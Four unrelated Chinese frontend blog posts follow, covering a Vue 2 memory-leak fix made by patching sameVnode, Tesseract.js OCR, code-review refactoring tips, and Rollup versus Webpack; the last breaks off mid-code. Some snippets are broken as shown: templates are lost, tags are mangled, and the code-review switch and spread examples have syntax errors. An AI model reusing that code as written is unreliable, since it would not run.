前言

彦祖们,好久不见,最近一直忙于排查单位业务的终端内存泄露问题,已经吃了不下 10 个 bug 了

但是排查内存泄露在前端领域属于比较冷门的领域了

这篇文章笔者将带你一步步分享业务实践中遇到的内存泄露问题以及如何修复的经历

本文涉及技术栈

• vue2

场景复现

如果之前有看过我文章的彦祖们,应该都清楚

笔者所在的单位有一个终端叫做工控机(类似于医院挂号的终端),没错!所有的 bug 都源自于它😠

因为内存只有 1G 所以一旦发生内存泄露就比较可怕

不过没有这个机器 好像也不会创作这篇文章😺

复现 demo

彦归正传,demo 其实非常简单,只需要一个最简单的 vue2 demo 就可以了

• App.vue

<script>

import Test from './test.vue'

export default {

  name: 'App',

  components: {

    Test

  },

  data () {

    return {

      render: false

    }

  }

}

script>

<style>

#app {

  font-family: Avenir, Helvetica, Arial, sans-serif;

  -webkit-font-smoothing: antialiased;

  -moz-osx-font-smoothing: grayscale;

  text-align: center;

  color: #2c3e50;

}

style>

• test.vue

<script>

export default {

  name: 'Test',

  data () {

    return {

      total: 1000

    }

  },

  mounted () {

    this.timer = setTimeout(() => {

      this.total = 10000

    }, 500)

  },

  beforeDestroy () {

    clearTimeout(this.timer)

  }

}

script>

复现流程

以下流程建议彦祖们在 chrome 无痕模式下执行

1. 我们点击 render 按钮渲染 test 组件,此时我们发现 dom 节点的个数来到了 2045

考虑到有彦祖可能之前没接触过这块面板,下图展示了如何打开此面板

2. 500ms 后(定时器执行完成后,如果没复现可以把 500ms 调整为 1000ms, 1500ms),我们点击 destroy 按钮
3. 我们点击面板这里的强制回收按钮(发现节点并没有回收,已发生内存泄露)

如果你的浏览器是最新的 chrome,还能够点击这里的 已分离的元素(detached dom),再点击录制

我们会发现此时整个 test 节点已被分离

问题分析

那么问题到底出在哪里呢?

vue 常见泄露场景

笔者搜遍了全网,网上所说的不外乎以下几种场景

1.未清除的定时器

2.未及时解绑的全局事件

3.未及时清除的 dom 引用

4.未及时清除的 全局变量

5.console 对引用类型变量的劫持

好像第一种和笔者的场景还比较类似,但是仔细看看代码好像也加了

beforeDestroy () {

  clearTimeout(this.timer)

}

这段代码啊,就算不加,timer 执行完后,事件循环也会把它回收掉吧

同事提供灵感

就这样笔者这段代码来回测试了半天也没发现猫腻所在

这时候同事提供了一个想法说"total 更新的时候是不是可以提供一个 key"

改了代码后就变成了这样了

• test.vue

<script>

export default {

  name: 'Test',

  data () {

    return {

      renderKey: 0,

      total: 1000

    }

  },

  mounted () {

    this.timer = setTimeout(() => {

      this.total = 10000

      this.renderKey = Date.now()

    }, 500)

  },

  beforeDestroy () {

    clearTimeout(this.timer)

  }

}

script>

神奇的事情就这样发生了,笔者还是按以上流程测试了一遍,直接看结果吧

我们看到这个 DOM 节点曲线,在 destroy 的时候能够正常回收了

问题复盘

最简单的 demo 问题算是解决了

但是应用到实际项目中还是有点困难

难道我们要把每个更新的节点都手动加一个 key 吗?

其实仔细想想,有点 vue 基础的彦祖应该了解这个 key 是做什么的?

不就是为了强制更新组件吗?

等等,强制更新组件?更新组件不就是 updated 吗?

updated 涉及的不就是八股文中我们老生常谈的 patch 函数吗?(看来八股文也能真有用的时候😺)

那么再深入一下, patch 函数内部不就是 patchVnode 其核心不就是 diff 算法吗?

首对首比较,首对尾比较,尾对首比较,尾对尾比较 这段八股文要是个 vuer 应该都不陌生吧?😺

动手解决

其实有了问题思路和想法

那么接下来我们就深入看看 vue 源码内部涉及的 updated 函数到底在哪里吧?

探索 vue 源码

我们找到 node_modules/vue/vue.runtime.esm.js

我们看到了 _update 函数真面目,其中有个 __patch__ 函数,我们再重点查看一下

createPatchFunction 最后 return 了这个函数

我们最终来看这个 updateChildren 函数

其中多次出现了上文中所提到的八股文,每个都用 sameVnode进行了对比

• function sameVnode

function sameVnode (a, b) {

    return (a.key === b.key &&

        a.asyncFactory === b.asyncFactory &&

        ((a.tag === b.tag &&

            a.isComment === b.isComment &&

            isDef(a.data) === isDef(b.data) &&

            sameInputType(a, b)) ||

            (isTrue(a.isAsyncPlaceholder) && isUndef(b.asyncFactory.error))));

}

果然这里我们看到了上文中 key 的作用

key 不一样就会认作不同的 vnode

那么就会强制更新节点

对应方案

既然找到了问题的根本

在判定条件中我们是不是直接加个 || a.text !== b.text

强制对比下文本节点不就可以了吗?

修改 sameVnode

看下我们修改后的 sameVnode

function sameVnode (a, b) {

    if(a.text !== b.text) return false // 文本不相同 直接 return

    return (a.key === b.key &&

        a.asyncFactory === b.asyncFactory &&

        ((a.tag === b.tag &&

            a.isComment === b.isComment &&

            isDef(a.data) === isDef(b.data) &&

            sameInputType(a, b)) ||

            (isTrue(a.isAsyncPlaceholder) && isUndef(b.asyncFactory.error))));

}

方案效果

让我们用同样的代码来测试下

测试了几次发现非常的顺利,至此我们本地的修改算是完成了

如何上线?

以上的方案都是基于本地开发的,那么我们如何把代码应用到线上呢?

其他开发者下载的 vue 包依旧是 老的 sameVnode 啊

不慌,接着看

patch-package

对比了好几种方式,最终我们选择了这个神器

其实使用也非常简单

1.npm i patch-package

2.修改 node_modules/vue 源码

3.在根目录执行 npx patch-package vue(此时如果报错,请匹配对应 node 版本的包)

我们会发现新增了一个这样的文件

4.我们需要在package.json scripts 新增以下代码

• package.json

"scripts": {

    +"postinstall":"patch-package"

}

至此上线后,其他开发者执行 npm i 后便能使变动的补丁生效了

优化点

其实我们的改造还有一定的进步空间,比如说在指定节点上新增一个 attribute

在函数内部判断这个 attribute 再 return false

这样就不用强制更新每个节点了

当然方式很多种,文章的意义在于解决问题的手段和耐心

写在最后

最后再次感谢同事 juejin.cn/user/313102… 的提供的灵感和协助

感谢彦祖们的阅读

个人能力有限

如有不对，欢迎指正🌟 如有帮助，建议小心心大拇指三连🌟

作者：前端手术刀
来源：juejin.cn/post/7460431444630011919

前言

前端时间有一个 OCR 的需求，原本考虑调用现成的 OCR 接口，但由于只是做一个我个人使用的工具，花钱购买 OCR 接口显得有些奢侈。于是就想着找找是否有现成的库可以自己部署或直接使用，结果发现了一个可以在纯前端实现 OCR 的库——Tesseract.js。

Tesseract.js

Tesseract.js 是一个基于 Google Tesseract OCR 引擎的 JavaScript 库，利用 WebAssembly 技术将的 OCR 引擎带到了浏览器中。它完全运行在客户端，无需依赖服务器，适合处理中小型图片的文字识别。

主要特点

• 多语言支持：支持多种语言文字识别，包括中文、英文、日文等。


• 跨平台：支持浏览器和 Node.js 环境，灵活应用于不同场景。


• 开箱即用：无需额外依赖后端服务，直接在前端实现 OCR 功能。


• 自定义训练数据：支持加载自定义训练数据，提升特定场景下的识别准确率。

安装

通过 npm 安装

npm install tesseract.js

通过 CDN 引入

<script src="https://unpkg.com/tesseract.js@latest/dist/tesseract.min.js"></script>

基本使用

以下示例展示了如何使用 Tesseract.js 从图片中提取文字：

import Tesseract from 'tesseract.js';



Tesseract.recognize(

  'image.png', // 图片路径

  'chi_sim',   // 识别语言（简体中文）

  {

    logger: info => console.log(info), // 实时输出进度日志

  }

).then(({ data: { text } }) => {

  console.log('识别结果:', text);

});

示例图片

运行结果

可以看到，虽然识别结果不完全准确，但整体准确率较高，能够满足大部分需求。

更多用法

1. 多语言识别

Tesseract.js 支持多语言识别，可以通过字符串或数组指定语言代码：

// 通过字符串的方式指定多语言

Tesseract.recognize('image.png', 'eng+chi_sim').then(({ data: { text } }) => {

  console.log('识别结果:', text);

});



// 通过数组的方式指定多语言

Tesseract.recognize('image.png', ['eng','chi_sim']).then(({ data: { text } }) => {

  console.log('识别结果:', text);

});

eng+chi_sim 表示同时识别英文和简体中文。Tesseract.js 内部会将字符串通过 split 方法分割成数组：

const currentLangs = typeof langs === 'string' ? langs.split('+') : langs;

2. 处理进度日志

可以通过 logger 回调函数查看任务进度：

Tesseract.recognize('image.png', 'eng', {

  logger: info => console.log(info.status, info.progress),

});

输出示例：

3. 自定义训练数据

如果需要识别特殊字符，可以加载自定义训练数据：

const worker = await createWorker('语言文件名', OEM.DEFAULT, {

  logger: info => console.log(info.status, info.progress),

  gzip: false, // 是否对来自远程的训练数据进行 gzip 压缩

  langPath: '/path/to/lang-data' // 自定义训练数据路径

});

[!warning] 注意：

1. 第一个参数为加载自定义训练数据的文件名，不带后缀。


2. 加载自定义训练数据的文件后缀名必须为 .traineddata。


3. 如果文件名不是 .traineddata.gzip，则需要设置 gzip 为 false。

举例：

const worker = await createWorker('my-data', OEM.DEFAULT, {

  logger: info => console.log(info.status, info.progress),

  gzip: false,

  langPath: 'http://localhost:5173/lang',

});

加载效果：

4. 通过前端上传图片

通常，图片是通过前端让用户上传后进行解析的。以下是一个简单的 Vue 3 示例：

<script setup>

import { createWorker } from 'tesseract.js';



async function handleUpload(evt) {

  const files = evt.target.files;

  const worker = await createWorker("chi_sim");

  for (let i = 0; i < files.length; i++) {

    const ret = await worker.recognize(files[i]);

    console.log(ret.data.text);

  } 

}

</script>



<template>

  <input type="file" @change="handleUpload" />

</template>

完整示例

下面提供一个简单的 OCR 示例，展示了如何在前端实现图片上传、文字识别以及图像处理。

代码

<!--

 * @Author: zi.yang

 * @Date: 2024-12-10 09:15:22

 * @LastEditors: zi.yang

 * @LastEditTime: 2025-01-14 08:06:25

 * @Description: 使用 tesseract.js 实现 OCR

 * @FilePath: /vue-app/src/components/HelloWorld.vue

-->

<script setup lang="ts">

import { ref } from 'vue';

import { createWorker, OEM } from 'tesseract.js';



const uploadFileName = ref<string>("");

const imgText = ref<string>("");



const imgInput = ref<string>("");

const imgOriginal = ref<string>("");

const imgGrey = ref<string>("");

const imgBinary = ref<string>("");



async function handleUpload(evt: any) {

  const file = evt.target.files?.[0];

  if (!file) return;

  uploadFileName.value = file.name;

  imgInput.value = URL.createObjectURL(file);

  const worker = await createWorker("chi_sim", OEM.DEFAULT, {

    logger: info => console.log(info.status, info.progress),

  });

  const ret = await worker.recognize(file, { rotateAuto: true }, { imageColor: true, imageGrey: true, imageBinary: true });

  imgText.value = ret.data.text || '';

  imgOriginal.value = ret.data.imageColor || '';

  imgGrey.value = ret.data.imageGrey || '';

  imgBinary.value = ret.data.imageBinary || '';

}



// 占位符 svg

const svgIcon = encodeURIComponent('<svg t="1736901745913" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="4323" width="140" height="140"><path d="M804.9 243.4c8.1 0 17.1 10.5 17.1 24.5v390.9c0 14-9.1 24.5-17.3 24.5H219.3c-8 0-17.3-10.7-17.3-24.5V267.9c0-14 9.1-24.5 17.3-24.5h585.6m0-80H219.3c-53.5 0-97.3 47-97.3 104.5v390.9c0 57.3 43.8 104.5 97.3 104.5h585.4c53.5 0 97.3-47 97.3-104.5V267.9c0-57.5-43.7-104.5-97.1-104.5z" fill="#5E9EFC" p-id="4324"></path><path d="M678.9 294.5c28 0 50.6 22.7 50.6 50.6 0 28-22.7 50.6-50.6 50.6s-50.6-22.7-50.6-50.6c0-28 22.7-50.6 50.6-50.6z m-376 317.6l101.4-215.7c6-12.8 24.2-12.8 30.2 0l101.4 215.7c5.2 11-2.8 23.8-15.1 23.8H318c-12.2 0-20.3-12.7-15.1-23.8z" fill="#5E9EFC" p-id="4325"></path><path d="M492.4 617L573 445.7c4.8-10.1 19.2-10.1 24 0L677.6 617c4.1 8.8-2.3 18.9-12 18.9H504.4c-9.7 0-16.1-10.1-12-18.9z" fill="#5E9EFC" opacity=".5" p-id="4326"></path></svg>');

const placeholder = 'data:image/svg+xml,' + svgIcon;

</script>



<template>

  <div class="custom-file-upload">

    <label for="file-upload" class="custom-label">选择文件</label>

    <span id="file-name" class="file-name">{{ uploadFileName || '未选择文件' }}</span>

    <input id="file-upload" type="file" @change="handleUpload" />

  </div>



  <div class="row">

    <div class="column">

      <p>输入图像</p>

      <img alt="原图" :src="imgInput || placeholder">

    </div>

    <div class="column">

      <p>旋转，原色</p>

      <img alt="原色" :src="imgOriginal || placeholder">

    </div>

    <div class="column">

      <p>旋转，灰度化</p>

      <img alt="灰度化" :src="imgGrey || placeholder">

    </div>

    <div class="column">

      <p>旋转，二值化</p>

      <img alt="二进制" :src="imgBinary || placeholder">

    </div>

  </div>



  <div class="result">

    <h2>识别结果</h2>

    <p>{{ imgText || '暂无结果' }}</p>

  </div>

</template>



<style scoped>

/* 隐藏原生文件上传按钮 */

input[type="file"] {

  display: none;

}



/* 自定义样式 */

.custom-file-upload {

  display: inline-block;

  cursor: pointer;

  margin-bottom: 30px;

}



.custom-label {

  padding: 10px 20px;

  color: #fff;

  background-color: #007bff;

  border-radius: 5px;

  display: inline-block;

  font-size: 14px;

  cursor: pointer;

}



.custom-label:hover {

  background-color: #0056b3;

}



.file-name {

  margin-left: 10px;

  font-size: 14px;

  color: #555;

}



.row {

  display: flex;

  width: 100%;

  justify-content: space-around;

}



.column {

  width: 24%;

  padding: 5px;

  border: 1px solid #ccc;

  border-radius: 5px;

  background-color: #f9f9f9;

  text-align: center;

  min-height: 100px;

}



.column > p {

  margin: 0 0 10px 0;

  padding: 5px;

  border-bottom: 1px solid #ccc;

  font-weight: 600;

}



.column > img {

  width: 100%;

}



.result {

  margin-top: 20px;

  padding: 10px;

  border: 1px solid #ccc;

  border-radius: 5px;

  background-color: #f9f9f9;

}



.result > h2 {

  margin: 0;

}



.result > p {

  white-space: pre-wrap;

  word-wrap: break-word;

  word-break: break-all;

  font-size: 16px;

  line-height: 1.5;

  color: #333;

  margin: 10px 0;

}

</style>

实现效果

资源加载失败

Tesseract.js 在运行时需要动态加载三个关键文件：Web Worker、wasm 和 训练数据。由于默认使用的是 jsDelivr CDN，国内用户可能会遇到网络加载问题。为了解决这个问题，可以通过指定 unpkg CDN 来加速资源加载：

const worker = await createWorker('chi_sim', OEM.DEFAULT, {

  langPath: 'https://unpkg.com/@tesseract.js-data/chi_sim/4.0.0_best_int',

  workerPath: 'https://unpkg.com/tesseract.js/dist/worker.min.js',

  corePath: 'https://unpkg.com/tesseract.js-core/tesseract-core-simd-lstm.wasm.js',

});

如果需要离线使用，可以将这些资源下载到本地，并将路径指向本地文件即可。

结语

Tesseract.js 是目前前端领域较为成熟的 OCR 库，适合在无需后端支持的场景下快速实现文字识别功能。通过合理的图片预处理和优化，可以满足大部分中小型应用的需求。

相关链接

• Tesseract.js 文档： tesseract-ocr.github.io/


• Tesseract.js Demo： tesseract.projectnaptha.com/

前言

Code Review 是什么？

Code Review 通常也简称 CR，中文意思就是 代码审查

一般来说 CR只关心代码规范和代码逻辑，不关心业务

但是，如果CR的人是组长，建议有时间还是看下与自己组内相关业务，能避免一些生产事故的发生

作为前端组长做 Code Review 有必要吗？

主要还是看公司业务情况吧，如果前端组长需求不多的情况，是可以做下CR，能避免一些生产事故

• 锻炼自己的 CR 能力


• 看看别人的代码哪方面写的更好，学习总结


• 和同事交流，加深联系


• 你做了 CR，晋升和面试，不就有东西吹了不是

那要怎么去做Code Review呢？

可以从几个方面入手

• 项目架构规范


• 代码编写规范


• 代码逻辑、代码优化


• 业务需求

具体要怎么做呢？

传统的做法是PR时查看，对于不合理的地方，打回并在PR中备注原因或优化方案

每隔一段时间，和组员开一个简短的CR分享会，把一些平时CR过程中遇到的问题做下总结

当然，不要直接指出是谁写出的代码有问题，毕竟这不是目的，分享会的目的是交流学习

人工CR需要很大的时间精力，与心智负担

随着 AI 的发展，我们可以借助一些 AI 来帮我们完成CR

接下来，我们来看下，vscode中是怎么借助 AI 工具来 CR 的

安装插件 CodeGeex

新建一个项目

mkdir code-review

cd code-review

创建 test.js 并用 vscode 打开

cd .>test.js

code ./

编写下 test.js

function checkStatus() {

  if (isLogin()) {

    if (isVip()) {

      if (isDoubleCheck()) {

        done();

      } else {

        throw new Error("不要重复点击");

      }

    } else {

      throw new Error("不是会员");

    }

  } else {

    throw new Error("未登录");

  }

}

这是连续嵌套的判断逻辑，要怎么优化呢？

侧边栏选择这个 AI 插件，选择我们需要CR的代码

输入 codeRiview，回车

我们来看下 AI 给出的建议

AI 给出的建议还是很不错的，我们可以通过更多的提示词，优化它给出的修改建议，这里就不过多赘述了

通常我们优化这种类型的代码，基本优化思路也是，前置校验逻辑，正常逻辑后置

除了CodeGeex外，还有一些比较专业的 codeRiview 的 AI 工具

比如：CodeRabbit

那既然都有 AI 工具了，我们还需要自己去CR 吗？

还是有必要的，借助 AI 工具我们可以减少一些阅读大量代码环节，提高效率，减少 CR 的时间

但是仍然需要我们根据 AI 工具的建议进行改进，并且总结，有利于拓宽我们见识，从而写出更优质的代码

具体 CR 实践

判断逻辑优化

1. 深层对象判空

// 深层对象

if (

	store.getters &&

  store.getters.userInfo &&

  store.getters.userInfo.menus

) {}

// 可以使用 可选链进行优化

if (store?.getters?.userInfo?.menus) {}

2. 空函数判断

优化之前

props.onChange && props.onChange(e)

支持 ES11 可选链写法，可这样优化，js 中需要这样，ts 因为有属性校验，可以不需要判断，当然也特殊情况

props?.onChange?.(e)

老项目，不支持 ES11 可以这样写

const NOOP = () => 8

const { onChange = NOOP } = props

onChange(e)

3. 复杂判断逻辑抽离成单独函数

// 复杂判断逻辑

function checkGameStatus() {

  if (remaining === 0 ||

    (remaining === 1 && remainingPlayers === 1) ||

    remainingPlayers === 0) {

      quitGame()

  }

}

// 复杂判断逻辑抽离成单独函数，更方便阅读

function isGameOver() {

  return (

    remaining === 0 ||

    (remaining === 1 && remainingPlayers === 1) ||

    remainingPlayers === 0

  );

}



function checkGameStatus() {

  if (isGameOver()) {

    quitGame();

  }

}

4. 判断处理逻辑正确的梳理方式

// 判断逻辑不要嵌套太深

function checkStatus() {

  if (isLogin()) {

    if (isVip()) {

      if (isDoubleCheck()) {

        done();

      } else {

        throw new Error('不要重复点击');

      }

    } else {

      throw new Error('不是会员');

    }

  } else {

    throw new Error('未登录');

  }

}

这个是不是很熟悉呀~

没错，这就是使用 AI 工具 CR的代码片段

通常这种，为了处理特殊状况，所实现的判断逻辑，都可以采用 “异常逻辑前置，正常逻辑后置” 的方式进行梳理优化

// 将判断逻辑的异常逻辑提前，将正常逻辑后置

function checkStatus() {

  if (!isLogin()) {

    throw new Error('未登录');

  }



  if (!isVip()) {

    throw new Error('不是会员');

  }



  if (!isDoubleCheck()) {

    throw new Error('不要重复点击');

  }



  done();

}

函数传参优化

// 形参有非常多个

const getMyInfo = (

  name,

  age,

  gender,

  address,

  phone,

  email,

) => {

  // ...

}

有时，形参有非常多个，这会造成什么问题呢？

• 传实参是的时候，不仅需要知道传入参数的个数，还得知道传入顺序


• 有些参数非必传，还要注意添加默认值，且编写的时候只能从形参的后面添加，很不方便


• 所以啊，那么多的形参，会有很大的心智负担

怎么优化呢？

// 行参封装成对象，对象函数内部解构

const getMyInfo = (options) => {

  const { name, age, gender, address, phone, email } = options;

  // ...

}



getMyInfo(

  {

    name: '张三',

    age: 18,

    gender: '男',

    address: '北京',

    phone: '123456789',

    email: '123456789@qq.com'

  }

)

你看这样是不是就清爽了很多了

命名注释优化

1. 避免魔法数字

// 魔法数字

if (state === 1 || state === 2) {

  // ...

} else if (state === 3) {

  // ...

}

咋一看，这 1、2、3 又是什么意思啊？这是判断啥的？

语义就很不明确，当然，你也可以在旁边写注释

更优雅的做法是，将魔法数字改用常量

这样，其他人一看到常量名大概就知道，判断的是啥了

// 魔法数字改用常量

const UNPUBLISHED = 1;

const PUBLISHED = 2;

const DELETED = 3;



if (state === UNPUBLISHED || state === PUBLISHED) {

  // ...

} else if (state === DELETED) {

  // ...

}

2. 注释别写只表面意思

注释的作用：提供代码没有提供的额外信息

// 无效注释

let id = 1 // id 赋值为 1



// 有效注释，写业务逻辑 what & why

let id = 1 // 赋值文章 id 为 1

3. 合理利用命名空间缩短属性前缀

// 过长命名前缀

class User {

  userName;

  userAge;

  userPwd;



  userLogin() { };

  userRegister() { };

}

如果我们把前面的类里面，变量名、函数名前面的 user 去掉

似乎，也一样能理解变量和函数名称所代表的意思

代码却，清爽了不少

// 利用命名空间缩短属性前缀

class User {

  name;

  age;

  pwd;



  login() {};

  register() {};

}

分支逻辑优化

什么是分支逻辑呢？

使用 if else、switch case ...，这些都是分支逻辑

// switch case

const statusMap = (status: string) => {

    switch(status) {

        case 'success':

            return 'SuccessFully'

        case 'fail':

            return 'failed'

        case 'danger'

            return 'dangerous'

        case 'info'

            return 'information'

        case 'text'

            return 'texts'

        default:

            return status

    }

}

// if else

const statusMap = (status: string) => {

    if(status === 'success') return 'SuccessFully'

    else if (status === 'fail') return 'failed'

		else if (status === 'danger') return 'dangerous'

    else if (status === 'info') return 'information'

    else if (status === 'text') return 'texts'

    else return status

}

这些处理逻辑，我们可以采用 映射代替分支逻辑

// 使用映射进行优化

const STATUS_MAP = {

    'success': 'Successfull',

    'fail': 'failed',

    'warn': 'warning',

    'danger': 'dangerous',

    'info': 'information',

    'text': 'texts'

}



return STATUS_MAP[status] ?? status

【扩展】

?? 是 TypeScript 中的 “空值合并操作符”

当前面的值为 null 或者 undefined 时，取后面的值

对象赋值优化

// 多个对像属性赋值

const setStyle = () => {

    content.body.head_style.style.color = 'red'

    content.body.head_style.style.background = 'yellow'

  	content.body.head_style.style.width = '100px'

  	content.body.head_style.style.height = '300px'

  	// ...

}

这样一个个赋值太麻烦了，全部放一起赋值不就行了

可能，有些同学就这样写

const setStyle = () => {

  	content.body.head_style.style = {

      color: 'red',

      background: 'yellow',

      width: '100px',

      height: '300px'

    }

}

咋一看，好像没问题了呀？那 style 要是有其他属性呢，其他属性不就直接没了吗~

const setStyle = () => {

  	content.body.head_style.style = {

      ...content.body.head_style.style

      color: 'red',

      background: 'yellow',

      width: '100px',

      height: '300px'

    }

}

采用展开运算符，将原属性插入，然后从后面覆盖新属性，这样原属性就不会丢了

隐式耦合优化

// 隐式耦合

function responseInterceptor(response) {

  const token = response.headers.get("authorization");

  if (token) {

    localStorage.setItem('token', token);

  }

}



function requestInterceptor(response) {

  const token = localStorage.getItem('token');

  if (token) {

    response.headers.set("authorization", token);

  }

}

这个上面两个函数有耦合的地方，但是不太明显

比如这样的情况，有一天，我不想在 responseInterceptor 函数中保存 token 到 localStorage了

function responseInterceptor(response) {

  const token = response.headers.get("authorization");

}



function requestInterceptor(response) {

  const token = localStorage.getItem('token');

  if (token) {

    response.headers.set("authorization", token);

  }

}

会发生什么？

localStorage.getItem('token')一直拿不到数据，requestInterceptor 这个函数就报废了，没用了

函数 responseInterceptor改动，影响到函数 requestInterceptor 了，隐式耦合了

怎么优化呢？

// 将隐式耦合的常数抽离成常量

const TOKEN_KEY = "authorization";

const TOKEN = 'token';



function responseInterceptor(response) {

  const token = response.headers.get(TOKEN_KEY);

  if (token) {

    localStorage.setItem(TOKEN_KEY, token);

  }

}



function requestInterceptor(response) {

  const token = localStorage.getItem(TOKEN_KEY);

  if (token) {

    response.headers.set(TOKEN_KEY, token);

  }

}

这样做有什么好处呢？比刚才好在哪里？

还是刚才的例子，我去掉了保存 localStorage.setItem(TOKEN_KEY, token)

我可以根据TOKEN_KEY这个常量来查找还有哪些地方用到了这个 TOKEN_KEY，从而进行修改，就不会出现冗余，或错误

不对啊，那我不用常量，用token也可以查找啊，但你想想 token 这个词是不是得全局查找，其他地方也会出现token

查找起来比较费时间，有时可能还会改错了

用常量的话，全局查找出现重复的概率很小

而且如果你是用 ts 的话，window 下鼠标停在常量上，按 ALT 键就能看到使用到这个常量的地方了，非常方便

小结

codeRiview（代码审查）不仅对个人技能的成长有帮助，也对我们在升职加薪、面试有所裨益

CR 除了传统的方式外，也可以借助 AI 工具，来简化其中流程，提高效率

上述的优化案例，虽然优化方式不同，但是核心思想都是一样，都是为了代码 更简洁、更容易理解、更容易维护

当然了，优化方式还有很多，如果后期遇到了也会继续补充进来

Rolup 是一个打包工具，类似 Webpack。

组件库打包基本都是用 Rollup。

那 Webpack 和 Rollup 有什么区别呢？为什么组件库打包都用 Rollup 呢？

我们来试一下：

mkdir rollup-test

cd rollup-test

npm init -y

我们创建两个模块：

src/index.js

import { add } from './utils';



function main() {

    console.log(add(1, 2))

}



export default main;

src/utils.js

function add(a, b) {

    return a + b;

}



export {

    add

}

很简单的两个模块，我们分别用 rollup 和 webpack 来打包下：

安装 rollup：

npm install --save-dev rollup

创建 rollup.config.js

/** @type {import("rollup").RollupOptions} */

export default {

    input: 'src/index.js',

    output: [

        {

            file: 'dist/esm.js',

            format: 'esm'

        },

        {

            file: 'dist/cjs.js',

            format: "cjs"

        },

        {

            file: 'dist/umd.js',

            name: 'Guang',

            format: "umd"

        }

    ]

};

配置入口模块，打包产物的位置、模块规范。

在 webpack 里叫做 entry、output，而在 rollup 里叫做 input、output。

我们指定产物的模块规范有 es module、commonjs、umd 三种。

umd 是挂在全局变量上，还要指定一个全局变量的 name。

上面的 @type 是 jsdoc 的语法，也就是 ts 支持的在 js 里声明类型的方式。

效果就是写配置时会有类型提示：

不引入的话，啥提示都没有：

这里我们用了 export，把 rollup.config.js 改名为 rollup.config.mjs，告诉 node 这个模块是 es module 的。

配置好后，我们打包下：

npx rollup -c rollup.config.mjs

看下产物：

三种模块规范的产物都没问题。

那用 webpack 打包，产物是什么样呢？

我们试一下：

npm install --save-dev webpack-cli webpack

创建 webpack.config.mjs

import path from 'node:path';



/** @type {import("webpack").Configuration} */

export default {

    entry: './src/index.js',

    mode: 'development',

    devtool: false,

    output: {

        path: path.resolve(import.meta.dirname, 'dist2'),

        filename: 'bundle.js',

        libraryTarget: 'commonjs2'

    }

};

指定 libraryTarget 为 commonjs2

打包下：

npx webpack-cli -c webpack.config.mjs

可以看到，webpack 的打包产物有 100 行代码：

再来试试 umd 的：

umd 要指定全局变量的名字。

打包下：

也是 100 多行。

最后再试下 es module 的：

libraryTarget 为 module 的时候，还要指定 experiments.outputModule 为 true。

import path from 'node:path';



/** @type {import("webpack").Configuration} */

export default {

    entry: './src/index.js',

    mode: 'development',

    devtool: false,

    experiments: {

        outputModule: true

    },

    output: {

        path: path.resolve(import.meta.dirname, 'dist2'),

        filename: 'bundle.js',

        libraryTarget: 'module'

    }

};

打包下：

产物也同样是 100 多行。

相比之下，rollup 的产物就非常干净，没任何 runtime 代码：

更重要的是 webpack 目前打包出 es module 产物还是实验性的，并不稳定。

webpack 打 cjs 和 umd 的 library 还行。

但 js 库一般不都要提供 es module 版本么，支持的不好怎么行？

所以我们一般用 rollup 来做 js 库的打包，用 webpack 做浏览器环境的打包。

前面说组件库打包一般都用 rollup，我们来看下各大组件库的打包需求。

安装 antd:

npm install --no-save antd

在 node_modules 下可以看到它分了 dist、es、lib 三个目录：

分别看下这三个目录的组件代码：

lib 下的组件是 commonjs 的：

es 下的组件是 es module 的：

dist 下的组件是 umd 的：

然后在 package.json 里分别声明了 commonjs、esm、umd 还有类型的入口：

这样，当你用 require 引入的就是 lib 下的组件，用 import 引入的就是 es 下的组件。

而直接 script 标签引入的就是 unpkg 下的组件。

再来看一下 semi design 的：

npm install --no-save @douyinfe/semi-ui

也是一样：

只不过多了个 css 目录。

所以说，组件库的打包需求就是组件分别提供 esm、commonjs、umd 三种模块规范的代码，并且还有单独打包出的 css。

那 rollup 如何打包 css 呢？

我们试一下：

创建 src/index.css

.aaa {

    background: blue;

}

创建 src/utils.css

.bbb {

    background: red;

}

然后分别在 index.js 和 utils.js 里引入下：

安装 rollup 处理 css 的插件：

npm install --save-dev rollup-plugin-postcss

引入下：

import postcss from 'rollup-plugin-postcss';



/** @type {import("rollup").RollupOptions} */

export default {

    input: 'src/index.js',

    output: [

        {

            file: 'dist/esm.js',

            format: 'esm'

        },

        {

            file: 'dist/cjs.js',

            format: "cjs"

        },

        {

            file: 'dist/umd.js',

            name: 'Guang',

            format: "umd"

        }

    ],

    plugins: [

        postcss({

            extract: true,

            extract: 'index.css'

        }),

    ]

};

然后跑一下：

npx rollup -c rollup.config.mjs

可以看到，产物多了 index.css

而 js 中没有引入 css 了：

被 tree shaking 掉了，rollup 默认开启 tree shaking。

这样我们就可以单独打包组件库的 js 和 css。

删掉 dist，我们试下不抽离是什么样的：

npx rollup -c rollup.config.mjs

可以看到，代码里多了 styleInject 的方法：

用于往 head 里注入 style

一般打包组件库产物，我们都会分离出来。

然后我们再用 webpack 打包试试：

安装用到的 loader：

npm install --save-dev css-loader style-loader

css-loader 是读取 css 内容为 js

style-loader 是往页面 head 下添加 style 标签，填入 css

这俩结合起来和 rollup 那个插件功能一样。

配置 loader：

module: {

    rules: [{

        test: /\.css$/i,

        use: ["style-loader", "css-loader"],

    }],

}

用 webpack 打包下：

npx webpack-cli -c webpack.config.mjs

可以看到 css 变成 js 模块引入了：

这是 css-loader 做的。

而插入到 style 标签的 injectStylesIntoStyleTag 方法则是 style-loader 做的：

然后再试下分离 css，这用到一个单独的插件：

npm install --save-dev mini-css-extract-plugin

配一下：

import path from 'node:path';

import MiniCssExtractPlugin from "mini-css-extract-plugin";



/** @type {import("webpack").Configuration} */

export default {

    entry: './src/index.js',

    mode: 'development',

    devtool: false,

    output: {

        path: path.resolve(import.meta.dirname, 'dist2'),

        filename: 'bundle.js',

    },

    module: {

        rules: [{

            test: /\.css$/i,

            use: [MiniCssExtractPlugin.loader, "css-loader"],

        }],

    },

    plugins: [

        new MiniCssExtractPlugin({

            filename: 'index.css'

        })

    ]

};

指定抽离的 filename 为 index.css

抽离用的 loader 要紧放在 css-loader 之前。

样式抽离到了 css 中，这时候 style-loader 也就不需要了。

打包下：

npx webpack-cli -c webpack.config.mjs

样式抽离到了 css 中：

而 js 里的这个模块变为了空实现：

所以 webpack 的 style-loader + css-loader + mini-css-extract-plugin 就相当于 rollup 的 rollup-plugin-postcss 插件。

为什么 rollup 没有 loader 呢？

因为 rollup 的 plugin 有 transform 方法，也就相当于 loader 的功能了。

我们自己写一下抽离 css 的 rollup 插件：

创建 my-extract-css-rollup-plugin.mjs（注意这里用 es module 需要指定后缀为 .mjs）：

const extractArr = [];



